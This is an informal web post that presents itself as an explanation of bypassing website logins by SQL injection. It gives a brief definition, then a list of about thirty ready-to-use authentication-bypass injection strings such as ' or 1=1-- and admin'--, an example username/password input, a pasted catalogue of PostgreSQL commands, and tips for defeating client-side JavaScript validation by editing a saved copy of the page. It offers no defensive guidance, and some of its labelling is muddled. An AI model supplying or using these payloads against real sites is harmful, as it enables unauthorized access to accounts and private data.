bypass login of web sites by sql injection explained

For those of you who dont already know SQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a Web application for execution by a backend database. Attackers take advantage of the fact that programmers often chain together SQL commands with user provided parameters, and can therefore embed SQL commands inside these parameters. the result is that the attacker can execute arbitrary SQL queries and commands on the backend database server through the Web application.

A database is a table full of private and public site information such as usernames, products, etc. They are fundamental components of Web applications. Databases enable Web applications to store data, preferences and content elements. Using SQL web applications interact with databases to dynamically build customized data views for each user.

Data types:
mysql.user
mysql.host
mysql.db
Bypassing login scripts:
SQL injection strings and the DB doesnt matter.

') OR ('a' = 'a
') OR ('1'-'1
'or''='
' OR '1=1
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 *
" or 0=0 *
or 0=0 *
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
' or 1=1--
or a=a--
' or 1=1--
1' having '1'='1'--
' or 'x'='x--
foo'+OR+'1'='1

Note: having 1=1--

Example:

Login: hi'or 1=1--
Password: hi'or 1=1--
SQL commands:
ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table

DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transacti
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database


The input validation can also be bypassed bcz of the bad programming techniques.In most of the websites input validation is done at the client end i.e at the browser end using JAVASCRIPT. what u can do is open the page and then save the page in ur hard disk.Then open the HTML page in any HTML editor (say Frontpage or Dreamweaver or even notepad) and delete the code of input validation code of JAVA script and then simply go ahead

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